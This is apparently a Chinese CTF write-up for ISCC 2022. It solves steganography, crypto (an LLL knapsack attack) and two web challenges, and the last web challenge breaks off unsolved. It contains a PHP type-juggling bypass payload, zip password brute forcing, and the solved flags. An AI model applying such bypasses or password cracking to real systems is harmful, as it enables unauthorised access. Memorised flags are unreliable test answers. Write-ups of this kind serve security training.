练武题
Misc
2022冬奥会
拿到附件,一个压缩包一个图。
压缩包带密码,图片有报错,猜测经过篡改,所以密码应该在图里。
随便来一手究极大的高,成功出来一串html
编码。
冰墩墩的小伙伴经常被人冷落,你知道它的原型是什么吗?
解码得到冰墩墩的小伙伴经常被人冷落,你知道它的原型是什么吗?
,那密码就是灯笼
呗...
去解压得到一张图,打开又是报错。直接文本编辑得到flag。
ISCC{beij-dahb-1038}
单板小将苏翊鸣
拿到附件,一个压缩包一个图。
压缩包带密码,图片有报错,猜测经过篡改,所以密码应该在图里。
随便来一手究极大的高,成功出来一个二维码。
扫码得到u5728u8fd9u6b21u51acu5965u4f1au7684u821eu53f0u4e0auff0cu6211u56fdu5c0fu5c06u82cfu7fcau9e23u65a9u83b7u4e00u91d1u4e00u94f6uff0cu90a3u4f60u77e5u9053u6b64u6b21u51acu5965u4f1au6211u56fdu603bu5171u83b7u5f97u51e0u679au5956u724cu5417uff1fu53c8u5206u522bu662fu51e0u91d1u51e0u94f6u51e0u94dcu5462uff1f
,解一下unicode
得到在这次冬奥会的舞台上,我国小将苏翊鸣斩获一金一银,那你知道此次冬奥会我国总共获得几枚奖牌吗?又分别是几金几银几铜呢?
,去查一下今年冬奥情况,15奖,分别是9金4银2铜。所以密码大概是15942
,打开压缩包成功得到flag。
ISCC{beij-dbxj-2015}
隐秘的信息
拿到附件,一个带密码的压缩包。
题目描述里给了个ZWFzeV90b19maW5kX3RoZV9mbGFn
,直接base64
解开得到easy_to_find_the_flag
,当作密码解压得到一张图。
StegSolve
打开发现RGB
三个通道的开头都有东西。
复制出来弄了半天都是乱码,随手删掉开头3位111
出来了flag。
ISCC{n4DdQtuSQdEYg8Gw5WpQ}
降维打击
拿到附件,就一个压缩包,里面翻了好几层文件夹就一张图。
拖进010
发现文件尾后面还有文件,看着是两个png
文件连一起了。
分离出来一个芝麻糊图片...
感觉像是在纯黑图片上面搞了lsb
隐写,于是StegSolve
走一波,因为图片数据走向明显是竖着的,所以选Column
,在r0
通道下发现数据,又是张png
...
save bin
得到一张鬼画符...
对照《魔女之旅》文字破解·印刷体得到flag(要大写,奶奶滴)。
ISCC{ZKVV-GAGJ-JKGN}
藏在星空中的诗-2
拿到附件,得到一个文本。
按照前导题的对照表替换一下得到:
QTTPUQTTEDQTTPDQTTPDQTTKBQTTDDQTT=HQTTDKQTTFFQTTETQTTPPQTTEKQTTFPQTT=BQTTEIQTTPIQTTPBQTTFPQTT=BQTTKH
发现没啥用...
但是使劲观察发现,所有都是QTT
开头,那感觉是替换的东西错了,但是替换的思路是对的,于是在用对照表里unicode
最后一位去替换得到:
F0049F0053F0043F0043F007BF0033F002DF0037F0066F0050F0044F0057F0064F002BF0051F0041F004BF0064F002BF007D
虽然F00
打头也很奇怪,不过很明显就是十六进制了,提取下得到495343437B332D3766504457642B51414B642B7D
转成文本得到flag。
ISCC{3-7fPDWd+QAKd+}
藏在星空中的诗-1
拿到附件,一个压缩包一个psd一个文本。
压缩包日常带密码,psd打开发现俩图层,直接来一手差值叠加
,不过上面个图层不透明度是5%
,得改回100%
,成功拿到提示。
于是就是把文本里的5行星星按顺序串一起,大概就是压缩包密码。
☆✪٭☪✲☆★⚝🟌★✮🟇٭🟔🞱✡🟇⍟⍟✸⚝٭⚝✦🟌
不过这里不知道为什么bandizip
和7z
都提示密码错误,只有winrar
可以解压。
解压得到一个表格,看着应该是把星星转成字符就能拿到flag了,而且还很贴心地把unicode
也给了,那就转呗。
5行分别为:
1. FLAG=
2. ISCC{
3. FEHRE
4. HAHJR
5. NSAZ}
所以就拿到flag了。
ISCC{FEHREHAHJRNSAZ}
套中套
拿到附件得到一个图片,一个带密码的压缩包。
图片打开经典报错,那就010
打开看看,发现没有文件头。
补上文件头重新加载,发现文件尾有文本ZmxhZzI6IF9JU0NDX1pvMno=
。
解码得到flag2: _ISCC_Zo2z
。
但是图片打开还是报错,那就改个高度。
得到flag1: wELC0m3_
。
尝试用StegSolve
打开,发现随手改的高度还不行,那就跑脚本重新算crc。
import binascii
import struct
def check(width, height, target_crc, data):
crc32result = binascii.crc32(data[:4]+width+height+data[12:]) & 0xffffffff
return crc32result == target_crc
def main(src):
with open(src, "rb") as f:
fr = f.read()
data = fr[0x0c:0x1d]
target_crc = int.from_bytes(fr[0x1d:0x21], "big")
fake_width = int.from_bytes(data[4:8], "big")
fake_height = int.from_bytes(data[8:12], "big")
maxN = 4096
for w in range(fake_width, fake_width+1):
width = bytearray(struct.pack(">i", w))
for h in range(fake_height, maxN):
height = bytearray(struct.pack(">i", h))
if check(width, height, target_crc, data):
print(w, h)
for h in range(0, fake_height):
height = bytearray(struct.pack(">i", h))
if check(width, height, target_crc, data):
print(w, h)
for w in range(0, fake_width):
width = bytearray(struct.pack(">i", w))
for h in range(fake_height, maxN):
height = bytearray(struct.pack(">i", h))
if check(width, height, target_crc, data):
print(w, h)
for h in range(0, fake_height):
height = bytearray(struct.pack(">i", h))
if check(width, height, target_crc, data):
print(w, h)
for w in range(fake_width+1, maxN):
width = bytearray(struct.pack(">i", w))
for h in range(fake_height, maxN):
height = bytearray(struct.pack(">i", h))
if check(width, height, target_crc, data):
print(w, h)
for h in range(0, fake_height):
height = bytearray(struct.pack(">i", h))
if check(width, height, target_crc, data):
print(w, h)
if __name__ == "__main__":
main(r"C:UserswkrDesktopiscc2022MISC套中套tzt.png")
得到宽高813x600
。
修复后用StegSolve
打开发现b0
通道有额外数据。
得到flag1: wELC0m3_T0_tH3
。
所以压缩包密码大概是wELC0m3_T0_tH3_ISCC_Zo2z
了,解压得到:
经典的背包加密算法,直接拿现成的脚本解就完事了。
###Sage###
import binascii
# open the public key and strip the spaces so we have a decent array
pubKey = [2361188918648831928906359550557667287563066887652293139600931568804647593122789158889057379273203102714095368723486829220007843957299702280632913938657714835735447419766548281452574358564865, 97695931953557930263675268583559438180052046444272770882076992153522531150379800730152218528219863748352083511247114692326156738123840025817342720032558767067009024872169520175573435927522127, 94161802701514303137155919925434103505190576261481245635005112004440266320768712382606034619863740089506265121268470715570513135353653491777909675624371473779686758512531974737676175912194444, 72388042790962730214513100950983534061195975920318426720313887884798775187923388765866188835519243418533539746074612480849787106276448754913384081515928005244379644862256042397586723327181559, 90177429706714958016891783219091455169790237953297038374352164720800081687674213470450440148447640900448313040325737014453940820102116149718253679205695044484168813278421507077056312902891435, 69236766677899702219766926047255366274128239614438968873144156776042479922359303386783398645813351982470850776836903833702117083775755316953036074956145037647675758065450902007740670982191609, 16523191473871705203861844722305762439608208022438347221286930004451266572811795325368947564301273322973433893957928662278954790903459556695866971609918830328314524675377803839379110989854071, 72740310363040772109032127441087709969613222009573496573419938414413224814256797732366489602621757109106908834001614250756822600310235094801428168986825163974262204078837280420520269689696420, 104837406771693387451346694269094596404350347434785472433133862670590737873986215251596723070860143940329271567366432917640541576160968870617806597318956635642753368027327083214412553559887302, 75188740427531145246179847401935101396993326308714846372104763309870873076390655996370829941789514579506704521266387755643045865976646788734033738258995443456055736117901654259236081190788324, 57043910568706155300795399032530768957393630194372553376329100130746754040911176945304078046885429954063432153997914440971434140007616205036240052374572831476344156005398820523176184853708538, 108791925917554778499698927218042215830176138083994970711217823849679857052478070676228205754949965107152226308549018315304437205498001808822408921428866851808409467448329588278880398333962221, 73240579195557328769300859178215987941576031764171889147882410594103311890546300184145124865891457788738792783639169215298470188348081151947310717427166563509474418499327675301554590444254631, 65090885787787607753554350657548309172866533751865889154531412180490971412134439805187062069899834679300464707728348400154575390140606919627053758307519785654718271382812646933500545852470353, 83410703566191005452773445693151530211477884696149963292171183332488617795406105823153331002615296078554748207658004633561293261193302837321568855558637705401622440004916936440141537672211723, 107382848997671177061862361998886202132378405452699894903128712495790655370692095623767802488919769361646656425450442657465379301765213733748631010842675455156458574972230125566818473028360221, 99328726670959297537284026592406111418407395227433961339180699676350515844725709941434772860699908503839914593045913152712207880914571126478812614139027004210371864727939920055558229360081032, 67586587902292922032458196741470335397661849105661740348071989386411498430360223449656237087525760488028405467852131343738033693568732788634329738302034676638438656633242079752079977857432033, 56040252293996445289146290750223233001036895540951667668371283058995244028902061857760445231008839830849907319234013237328811870139231076353427026650137689233870464713570790877438862007366321, 6455762151174906193163685280722053747450571382910744005287658737942697064958269523252706019462534328291835339046991081072137296606661246944488929494616030858877103441853081543962653891562546, 90710584932311342492693223466629349607703492464724414146002644349984871467281630013412313000911055110186826869068521628868336973554090721213493250995926195286309024593599639059295406411716503, 30178126963177957287938108831253466288099756404783307342773996695585721611061316331360926245980025647750346657107702719605237244154617871020932821126704487238717005184021356674255699030396889, 63862416068682429588404735981951030654843661133887215291661272336006489271769297241924308972047004866581716531115432205620956257715662635178620783592918203845351685172420654877521130219025605, 67969944694327873717717007315929067188766705925687392268873925016133517270274258249763599515345574945280474745851360477808974576236142093098822378686249271204148878075450007887146894244070121, 55999419196921832324005656877806411664713180209441849484853628229648137250015884181415148433981223959823325938693580388711911313397075904336894373428215204440071805250576443685652492365552337, 48482447845152149042906102559639239840030421647187615086913481874901271966440823355559693932219590041758269223976406766825076513141923729371681379183198511994306408872783088934782656294011839, 90345170747459145179903251795385362304940943848707564938727573649402528481483707017352527548165168118179325938236480039515527803018254861005652388762270682428487632432185871805230990243786697, 26284672575276572096804457864792275978304739083158508616950137014886314835497348554928766711476809195633315138125924856535848040521546468726125891974067079198152073308302846563687983574679058, 69608992374739514026767698000670042124361334707568345512756702412754381449636124014277808962195203916042771638221383943103375068890092640205390488690539064748964575717109407015060025007610115, 68854609971736881986185523998901613599422450564070505762061655766491614604539213277784877470477861332243271735795966580865885613713296852924853583155856482867014229529782935570459945811343021, 98719543715731922824138869461899563361205075023683740708400643276016185822214252506437546550463147366420716873476063765273393337338495055046968546089098366585617068063896319909451288948620517, 107761582688221484648611728269614382095867005861926796316428839763658553800615106682296729081778683848765096532470233394064715954749789698554655571297105574843934169185743671252470421514400084, 40150067156576044582100395788761058859104936604616838512836698985034672893921141759155665434625144890844655760783630662989058141523440440971878283331995270099594707325059063844542036760352154, 65803033221003661280076861857641788280218775383475387796492522337415920201406708331858042362613081127327388957793597017644541856268577168100776649249372919572488815444896998229677219821290162, 68375930798906917706858688962365669463043107036008545654062625355034529887987291277246504435210928080063922659809351472105354091492638080074874772469712591329402291745658016109304987759172018, 64482106693034910450580539093399887897249048402984518733885698571275085954623034649273561279875355737504930350750734985260578024741978299216474160950162891328681800079497083677855775136160556, 105270998202729399460783073536841861597692719115045881646099898095591822141806935868742965474444491165618211518639273839011178501281045237339330536572053819654819964407720431691139197694335018, 54616449260703344877179925841378701089190875857500950954103512438558234629015941876574088968052779782468160315469769058360263119940886822826913768411905542940994581460119911823813720860994913, 29981651653015123338893656178745639724619645964492387550963850674714278731775641283035283017733733193947975430873563843401196461779272537825674687558124989806481285538516562932744681313859236, 103620943008178797338680004451168519345576474660353659899103847089455129093832613870225515422989354878900522522047549338690357107050816784974444702119657770600814510742930322516597074410026173, 63112722656282107038608302048900677827666979482535818114146430338276986954725612692836247644033605361222278374339035930517009676576189259733187068282092899449388604767835235592039388117531237, 16818878449711500486162188745226949465695302809878026354414499606309896880357954484874633945134827911999046845698152678781698052302053608856682767151479762165513844892517544714578486890759161, 10566572632079978864992744263563827979655404702390265925993845756995453818606097057965467395894168501338690601114909187563539876613891695808560370467236792979168480136972074337459451481331104, 89309679879925146947534756534115680970461283515597431162154014039086495773395722088799757224811699885715786165070385472581595925469331527448848537979429103449968856076714217235029102497771855, 93165232321630649667921080631808477806707425531782289040074119555150951252388628718787960436368551067329329655982483644144468965444149642163728754961216856566021477334332068267508085238491879, 68421058830260511524167000920567047819232226788267312559818029888140531000981181725328597088752451959068903055960226506420464411457896533989898001219169765997749871188711558204191290009666507, 73234147523304281215712879589663432325169821864888031882810723035652030995928778987159207273725579432472135074154733869624218730095188180606419942867633254487061113157953221882186965870602766, 34499911009904145032236237323430948920801558972937095137163968273208049249020734932954680295197218057825678071984975015723244015552329918221331143764438694067428488057374876535003866507082201, 94963989326447038835816573401892208124407739131193379830679996668417734426273976824169084665583483970544587101025912278158674328820163975860552359763506582637800039550380216688583882619264170, 49153927564432140382747762225216743718773572094128791743691632233897903177846674822435862664278041478593505973245004789287501424040572710922877135809087301521109784606904662402539677589948552, 102520818426340762039988532758997771658104724130545183410056330745452630668199147669827954151456026445640309636025337647257415806526861330493521148308008166313908944212973962986380040251317898, 74027867560599898643378595221802430854962932620157441405612012766645428297568582920071208666582642981981347208084822865585430944907971852044179198602802644270290177572985491861203524169354674, 17468509068241187698632490930839445842536173506722320091996248462371253366134550526914445765908344755998298780551041537851136146325614375415063659506174662902274429324364499785068633813094692, 34246040553061448809191530217324484354898494483265190238549436536409766269138035324388311091463141425527567840935996932981724689236964240658136804102883936084822578912848217605882955798852061, 58387507786138994906646551943384013409604771112740421190352995409829237253958634833418741879795608075236214389165884735471994601577948529992551336605577391644351626795444662807105464781659126, 88679700074802681853564815194441044303969960117243937877003296589495279992941852087902301652625122426881537105160176929116320263790253767823390161742551593694851854861536397944363622948261714, 101976699624664748524602620133168471596733841005444518649864282732052790068843421185235788393462366805558067670924507862216754871098532030760047493280730234592802603583124795248091086757117669, 30048237249441637009767347360710895560190789601801967814688554654243027451742146226335393219186363172887020514388621280985531847486816693060294598661973027710968886151332584081264851493418091, 1774956958183161119137323398388633554139320036370952052887168850513734186010745160079932862091878440065281081466606026682717672759983308525605092232270790086498967819677866353100551714431647, 109659914173669450509909214174083507068574826043987529247448126729799816220906025244035381037047713352578976905538717732574769348969304037553498595389459017419898201965019883686484618798558250, 103484686270378994031159899157317002987857677650115148801328070275533561185558031769506501074917886632349913056123553953458148547388590653689214391475998650973003017136691156070604310259358271, 63535708576482748170042509791823761280611649116678527907215299176305848307106253128321535524412002198464438943473584554291965758585049075121442315658630573724848709566009197832238293674962539, 63042491439968567186214152831564289459306659363264557627167554483408272829210565423886370383526159333081964223538593459384715135467597831354432260741085796411998591008673595408255799008503795, 18808209181034986950013628986248437962144798177590357609742723663635621057978096939418302737885696990899609866087194635318878829245196578606758783177866561512936430515259588628699827714244026, 77273091524229314385213794077625519901108857595419664871162739127357673361168112919067145771960561128896229771345290665235034580461613137149461157245727214240804253690762224356255852499269301, 58704889586891065882947815777708901898004984575698880243597136697870883081660485945918987604988889634724408460664517020625926974715500831614874167143149015784346683817362587341117542483454135, 1160878935829280493292996615582007064350006145065551160659801451201083607234061678686503617801189830771665165840806331493603374605802181727597671374634949678105336187446393528246457590895693, 53912288436087091608881718210522926782339338074431292100674146660209925286956561752682851572866438150057475810231315014703412366716712011829839686582415065534833901933600693545360967380555592, 13844780652878340091012525225532661620022470456689384460309518173164404816976749523734360831383021088089373307971193950727273329082804415809745192456851025765708407078649030306556997558754227, 100303727468280245116116516379070875557321901083753782296557607690653061479359098849803609595651219007796086990621190769148970765749572870728479275111122614584929226065448221878269721756576719, 72416073207587912258012035033460802477704096692034636624613241410935847253607885541886600734725349849501405589346955211751869350002320083721613764880500492074023588697105240353801110447069807, 100840140741559946947248897796519756758564659493587557333628098104856732255706955092310999850055251769933327671882992350569600809079188031596997896390135174200976582267719933660489466232644135, 94260711601041285835925193153333094894918560941974833355455396430294415227980995447115651242833854153044158291299265692631549744508059304762560678692799424594543324291714762583881998100079605, 17159841400772925081189441776640301955565558955589959437344061138554840771648477713516798369980953065403529095637693076758162172209090652661262444545974334315280279820009061211851789052388395, 1509234033892338754716082310077088726817860873188833375457048500933758134583123920359374516367314940276944807860043032794808043999533200308129048766979174956977919545243596499573256900070956, 57786520062387459898463382082392759112618559153416449132625858658111595084329048116040506230199184288587076391368357096326907256838516105406981018378065310458441609276825313831165992926775301, 58109056845667889782386329224242090382058114623695649273067314387410326062526385555068942894337601991494755536707919547063419928873747304518803165653452808954039154251917652205334375510278645, 50379663972750881496668287427249436210364864993021484510232284091073363950423918385220279714038940580006407952905203877605744374000084398964529616545046640886656858413317775665216225423306345, 69952710963448580251557318097046596634795166604356620709825705487215626840145684604974127953223480006157269156899565038862472839841679263329060094268710697017087505489989506145379217478596916, 105655387636774819867453658192975891793717903499370231264773254396586043335780563651470664958198844017954471160068095832283762176268623838381763941138538366067846985059435638429004678138517014, 38198306590797469098279286137650232807231030083390936861854928052707126878594990467430221431997281808405464657670774862680387271599648663089843455241636330204292589654565326844803725626965732, 30735612822372856532490441276950736887979658287169209120088366488641378975540841728000303361077025983493762081737096884198472685552609907988790546762378780734725014686190454604605997143925092, 52130019091582387366631620467704430370197389706557244132991324212078118438026906130764137305658107595740600777220569204919691093796592862027558669346778781128942554482046992844288457854128563, 109685816219580578722971376229113397596498420326569111134751959977187472285462267461552278314731562550064255618334970783277874295264592804156227182708030049997599797544299043099691799804474990, 56765721856737822672141268509420576236331926383563142014988437522604174891189356151781074398816327875161698757492532241125133573314757233196594264946707421972925908238360591405525407324405522, 67781505907264337480737654468922895027519738929130259246076743186551031143193571191483247545692963116246368116515483302442810100074261740846203623201904171639571459703644184857910844842722370, 27754820534655635800830766324483222146819914152239341349835878033218534363684566215225342791471948402723660529608397237497553914470879178965829878807817065729485159208170124583093334640166443, 98306127856013415327005363218066096720710958236975065309214900665649399026963354990636133255972524969383577654309733001925425177534591238635005167112112692211159514579293486264554838972841433, 6817119743755119225970726566048877369282568179701878860372482725315523151091867790442991695462189566776239122700579768401839513444876391924384340964932649938113468297947360717926902417408741, 79574552715679404400864754211603683171666758473882091454409631176417066276441284364812122339093408224614874594124537494840301183239329900740614122548743657341999072306367738555428166059975980, 91836416688639419282978301420120086410230428927194280342057865250997841356443013207141222739398386506658372814134509067853852300198318313082747843750318695706655845750939893834069344394466081, 54434026020064251373936960446542653179844012539209212205762817906227244675359469919852251467089673824108823831425102236120087950370622535989768173910794206224414864276637633956929615684731935, 40465710729167710716760873385724947310272881193233132834726967776683371023772956654190252349368550996655098204542524434651340248477641094950416284786089045363746669133393600315804177389200007, 108961477767946081585802333302959400779603364705224343000550979625539910173670849465183124700796529233349505128753283871014951853055671966389909522209058221862056928843703673490794471904462166, 18611593834335027606888397540358551171058807652205750663569416084624016997500058850339623006474553728863779271571520128698201513243995590648272504838396525128015415534400028827291784384698967, 51816069629941797324878463350299300071202687970580767595983274715227265055586898288702069402975500065162904525402422299318194689556922470590186885484105339348729153182772613919593360286922953, 66246757482876514975879701924866099640124584279010911186111987495170972335002751710236479956797585506079647046970803366251948691534020377914139817360221067124470144262627030505040795425414612, 13959851291579325270436960842444190164979648572769874277225884467001606066505565646999692121909276643145181414009488266765621271152058477853582548209564879032255033064675778082281772634184931, 26347408930569456254313344878293123268287643849859595547749306420853490898616033003344625647736460696488426231146319155667846118650941516979505815149792150086895607747262036599294881313592204, 73106076346658123874444692934761821906159304352379698624590309205298489008659553028198027175717990078371969023666482960824882148604214998844580399050167728103053102224013210215548251157068941, 77262746973225531655708237001960439749200176664387010107101820531251383197634735516928805713583838369028300401662636628455801543843581049492417633786249931672812269601206270007880300281475859, 7959049600500368140638699613501457328195297894118896999125315220024359570054676300935536175352042868982545963574842540726758513419927893191077409733810198711313225647894240088538959245453272, 37951800535882450723724558818265225750742241005283065432981675495560266697754078172731529283827939233059147373320589013170941301962349361329454987044598100594653896401340938730793021642656118, 106273784851332089380788210189136890139002276719637018907027872633283111597937770827931644340453219354790611966349600053830388505684146365408439171986851007112136163568396597491983975407867810, 22491052179351854785507382604241448848322245996190451047872029615155101380691473242327839550908917739976971478724081517761119536243778495810900094190892422647520980034857106036575723067768520, 85016178224896098701590303333817633081482643699966345444861594193811584084055804029255044503072550408792658437243443923777996655545224627071903539542449860008934944133712852358459679311956515, 13193588087664465457718615249564160245916489328067690070861308416028580350566892643545438480154269649278728377546675875871619735502094102966511860580117561695896436542445763791136681307815624, 69032139628205659748636569727493001459925705496177784842835056743618212943063490282050184095558872701726162244636422407515337361395332730654901289437121389161502783008270890212431589792043040, 47422197516625609693691526964553163886607277422344061508724298577319739065872910105016061083990242775220104429888909781411748546131501776119247137713131387723462480954346348623611687445320448, 64919873501310151384416395810354427252797526595710910547480460880113427936241426335690475868335533451910358209649919166754830391875240604368784475309575771955149654300433454444967991333923353, 109730846127557166039944025428821661370978501302835027888927162540183062415098608561209775627920927813124317579536492272815668817162556640912630571543675373584085667274739784302349801968622726, 27655884414496726230210852732444847177840759306454218333882287965071731935229301473676219200118365368989396952652040145515626374280529853310942533173340268501146780644885382118344418693397802, 17378910445937055288683655877760476355212893926197815159516836437528776673013010082291640470051969860994142884681550560651195178527987700752088170505622152700556029554736167188950018045931921, 79899219010110255664894256439756399629999969344259383782665333243412026179410609946625739865162205847061566800729912395307724042085231118412684706537487766745811025356960659286969093697924988, 35965216774785351080725997333132678578895346352888975064956723375995652451366261265561137893826021756707693405745070585868187547633700205455364019343414882481795042132202188465507498672723718, 66208225984250013614647014996354763264785353664698468866687728904418241739325244288180955462578706999898771234078140412927936904754636715866123622833152727508909012612800557702369512285706907, 80723498285117669834576307872925189151880352722119552288330822689265945755243945262560733614914375094701009973115985809292352778230203014485972255592904570243219451960021578827195775951738744, 34315788671663511307921610466897918254795857701992034346307321940713180798886629761257952655646156422939817067329526955860328355665219123491876169816982935822609109197489861230650796983358318, 9904107053915737282331879524665775557495287393053764115237601606253261449373423693928845850723889818147286959278393375141026217871088045447218461612977390889817382275708967269007936445314534, 61260530693690143223862709289574067297372306118125155560986710683995806446258755947858560066131045994041839216019470480795801447989165279401857808461561382832316094935097921428808455360995213, 9461104508901751333801549327428364106033825476539692214525835131350583858775794993778164601884866964854015156653482213441730551905155219632560963807066123999205258124671814841593634214729843, 79013498122311218331272278146291939864748292072738064920102302598528581419775467837769479585930637602686503500165926690222157750391442585271477239595572770459031033902544396473333094493291482, 70541109648133475940553350273664277280688208137603556465855990912661153636329275630363417234992156780052629214435311171152233640806440625374024226620691159283929196859803112371303095687659927, 84298488644887688286283029034237605164165575773255615675260190287921426725335117710869345753637490811772622275266638612054734952466467915743252867815674432335880306474216793475079215142070244, 57691436568754556200014833587855949804543381985310854121716708893035166290716267534852871047323680723423290164573069619476274428684535320835578838874890374459009614506944267113732608894212159, 103120861266880491387356247856233637918476910078289803279617419956864028187317456635341090734142825127326709763429221315515915285282760315913218449634385615167564001741020912117834768729512935, 108217642697478373097498012767946044033235407401306628711118941046516768607285175374610987481565267272949847444421091696464167071517959865216212679243489413926987359502047556825323449222231741, 96045626640467236586226288500498125391024935721146562726924144367910846919875353486123138026821542594127518583522785031718318937316871247417717004141780518029828944900823386767572954535049792, 7932104335583410752476336511896423352057330818534210243479387464619232768862256374983976076015299904547103348434262245099131411977024589146069684755008450072235148718415584210818393137137848, 66103472387021823382040979962113690549881236044170050567402017065437955105395900479762945528043237052681404933103160786816200939230118982116578924138660950825418939784005095771242999293072458, 20193444152839940442781148960061269088050029713093878447793958515726508854690670567881031159772843115231684413181445376485148838334302382176784252616663498796509748955296222794048415651903485, 54815885064051212070669684719720021579586574362650013569373989848418119175079352294140222103367577339117105639489567844587436321593007680755282171380755551123951605065032594225287233536382312, 101163082573150932363235737448856151112857305786336255760419018129550952010409257204855963641041780590603057326245796340207373240547292554190313403309904416324476503687788597749543064759194091, 71632639128163230540229466020702573377127208773060984923553538784899342290956855906407246317677752922569050381209552238719610294458690403061741960492694934337512876320375257029800021695448728, 77244132796410030608229546349888158641304686422572736700985121171090809279501861081600588827866109980594112071767003768390054078134330418053092329511268146543508553871014275074233370003193887, 95508326450158430451535572951010696584700841458509177304132555990346997452205201973074418516973141521680269558732965783085886297022082165379847064483084151745317300977923985252958409413706387, 12123410695226640215489612650882536153078520605849673612269522167401423202785780879351449294936407317879875881492576567226466550650502481314464582673598112926596538655288644878066270901040500, 51148127913507802006815867454756469346317798578765956484547255100874914607156868483255549316587197089177254118313420581592661073597249075677984121148715533540796563449318061023028454383160064, 72879707295191546228591202737204864313650848140996644420845849730480962907234318203507488667025390547128278510022286089273776695697239867068931697844386617535795331235281422194458872875992052, 48107573729644569028379584274089316749209415383840695942154131364710232466261395854007700643502853344620016351894132743765913414176336502031812345227190584669590910083743083760287599118106624, 93150565053192622521250184596721438353454241270878870427518055947423083771972501380916691691914120295193837190526484107437088826164079649468197203637317380504369176467864301472627015092245415, 75664999865442920222074610816654769156721312666281299651694620506802912993140253352572903750885726057422702820556637492473755835250732710676616071284650545597574636089116041051617300602124464, 33904264175211383548421961985599490222508896165333769243045645258243453314749476390607942669418223626279135660296284691799681864351079555880729468801600637284069467054860515192104639484735579, 68132074771313259873885776484860570545749317154691428722297934328873538729293173654430694529703728056855505824104475943935984712402280939320825782297282418510986189595312909848133021820023817, 102353225803113327696666721075809150898542834521690025556370078904604064203989464053093243044548304515223949691319199708629821811360680864217055731190600621949062724135540657746306307110565157, 60419559236154868005676753240177139040258424437422595140126301525209489801364454826590659433501957451498607372832802815035566628584732755904130222923017942260625098709926284733031973378276220, 103512863494891041031610017318488272151573102805967117209728574134073173131851223238497199256263852939291369710595924577913303794732107684289461743286383440276802611210539712838994975242223479, 56524801181718865564299853205883537076015960969010735705743305101517748501102350255844161821169232508434109584131930912035570041927235619606149875479154394064883640793728722963417211299932625, 27871059287077195516337468067986325439879404856870902520411872881835162711912711335168544912501612248974890430310994093237748115869083426881075943983078101109770533036820543483917856562952276, 6565896246664994189790788717794930917243090931845221131402467887353315604780011217371451804155865957663529113533755956226573150599778051100992783093584241740708402990391746295794585500223220, 81723289850916905665848796106370315063954773756430384492785198730359358601904751259603409437185781925988911084988946495174259165175761142511377829374489530900510945321408432678673602995313083, 43202516463556853457864096812956998329039794485932261498016813283520204128388365418710153851270757236075593551024816683074965526455960368666694276067088080246315551078430107366954577400958140, 79852961965589135100808075754186467670863128809071533532006593249284990769139759185927906129343940752225606104635754076054814536637027978940461648432305918206898166483248037665218484412028296, 70833523460697449037641033759175057712294948999885960548828848348487400616525570410553304856955667847617358132482006432535810328116219953955987872607266281117429664845162513567133395740952415, 31521518463871828646796153122724816028332518581261373007844339093862876973324908853065673908796384702540472352151540234373631766089229205140868963486078769396523387950308385614610501611496557, 93422831565061691992983678461215773217001978639447133405092138056506340181865427902759794992572924560034151068666881560622259030331041764346271216936654908653705112172758648151770970232484558, 54010463622666051748783883376050862658208926770080273690577888296476587158704307079950075130215615119628267466307552354374420205164336456775344785986170570368535518491231171134150351114071373, 58092399340175343286216752545111699151282144601273474463015674016164514974184990257220549279366138951383242729527964482007769506692420981579335065479074104771968589605470174033166194171132644, 59462882608354417206572206812823772926403946216351341153608701290217303811797695166090211286270189176719283485172573009254057134950839397432903258536768692064141789891190322207926186082000221]
nbit = len(pubKey)
# open the encoded message
encoded = "4823430239248650003530839279941052457392144719730416139664781457370579049606612452776175884076304167523993541264911665624792931007247886501165470499559923906806212066969866041384527961295017861"
print("start")
# create a large matrix of 0"s (dimensions are public key length +1)
A = Matrix(ZZ, nbit + 1, nbit + 1)
# fill in the identity matrix
for i in range(nbit):
A[i, i] = 1
# replace the bottom row with your public key
for i in range(nbit):
A[i, nbit] = pubKey[i]
# last element is the encoded message
A[nbit, nbit] = -int(encoded)
res = A.LLL()
for i in range(0, nbit + 1):
# print solution
M = res.row(i).list()
flag = True
for m in M:
if m != 0 and m != 1:
flag = False
break
if flag:
print(i, M)
M = "".join(str(j) for j in M)
# remove the last bit
M = M[:-1]
M = hex(int(M, 2))[2:]
print(bytes.fromhex(M))
得到flag。
ISCC{kBJ1-U368-Woga}
真相只有一个
拿到压缩包发现三个一个图片,一个文本,一个不知道啥文件。
图片提取下lsb
就能发现password 1998/xx/xx
字样。
文本里面有好多空白字符。
最后一个文件打开发现开头有03 04
,感觉是zip文件,于是修一下打开看看。
是个带密码的压缩包。
联想之前的password 1998/xx/xx
,爆破一下密码看看。
在掩码是1998????
时爆破出密码19981111
,解压拿到一个流量包,打开发现是tftp
流量。
直接导出,得到一个音频。
au
打开看一下,结尾发现0/1
音频区。
尝试用摩斯密码解码.. ... -.-. -.-. -- .. ... -.-.
,得到ISCCMISC
。
最后剩下文本里的空白字符,猜测是snow隐写,以isccmisc
作为密码时成功得到flag。
ISCC{3roX-ZgtP-09Qt}
Web
冬奥会
<?php
show_source(__FILE__);
$Step1=False;
$Step2=False;
$info=(array)json_decode(@$_GET["Information"]);
if(is_array($info)){
var_dump($info);
is_numeric(@$info["year"])?die("Sorry~"):NULL;
if(@$info["year"]){
($info["year"]=2022)?$Step1=True:NULL;
}
if(is_array(@$info["items"])){
if(!is_array($info["items"][1])OR count($info["items"])!==3 ) die("Sorry~");
$status = array_search("skiing", $info["items"]);
$status===false?die("Sorry~"):NULL;
foreach($info["items"] as $key=>$val){
$val==="skiing"?die("Sorry~"):NULL;
}
$Step2=True;
}
}
if($Step1 && $Step2){
include "2022flag.php";echo $flag;
}
题目目的还挺清晰的,解析json,然后分别判断year
字段和items
字段,两个都绕过了就能拿到flag。
先看year
字段,不满足is_numeric
就行,其实本来还要满足==2022
的,但是出题人少打了个等号,变成赋值去了,所以year
只要是个字母啥的都行,预期的话应该是2022a
这种。
然后看items
字段,满足is_array
,然后下标1
也是满足is_array
,并且items
满足count===3
,然后要能array_search
到skiing
,但是遍历又不能有skiing
,那感觉[0,[],0]
就能绕过,因为array_search
在老版本里是用的==
,懂的都懂,直接0==str
了。
所以最后payload
就是?Information={"year":"2022a", "items":[0,[],0]}
,成功拿到flag。
ISCC{W31com3_T0_Beijin9}
爱国敬业好青年-2
打开题目发现要输经纬度。
直接输一手天安门的经纬度25°33'N
116°23'E
,然后:
提示了个假flag,那么刚才就感觉奇奇怪怪的输入框确实有问题。
f12
看了下确实有俩框,所以iframe
里的是假的。
那就删掉假的然后按钮删掉disabled
属性再看看。
结果提示:
抓了下包发现有两个包是啥open
close
的。
那大概就是发一下open
那个包再去拿flag呗。
结果提示经纬度错误。
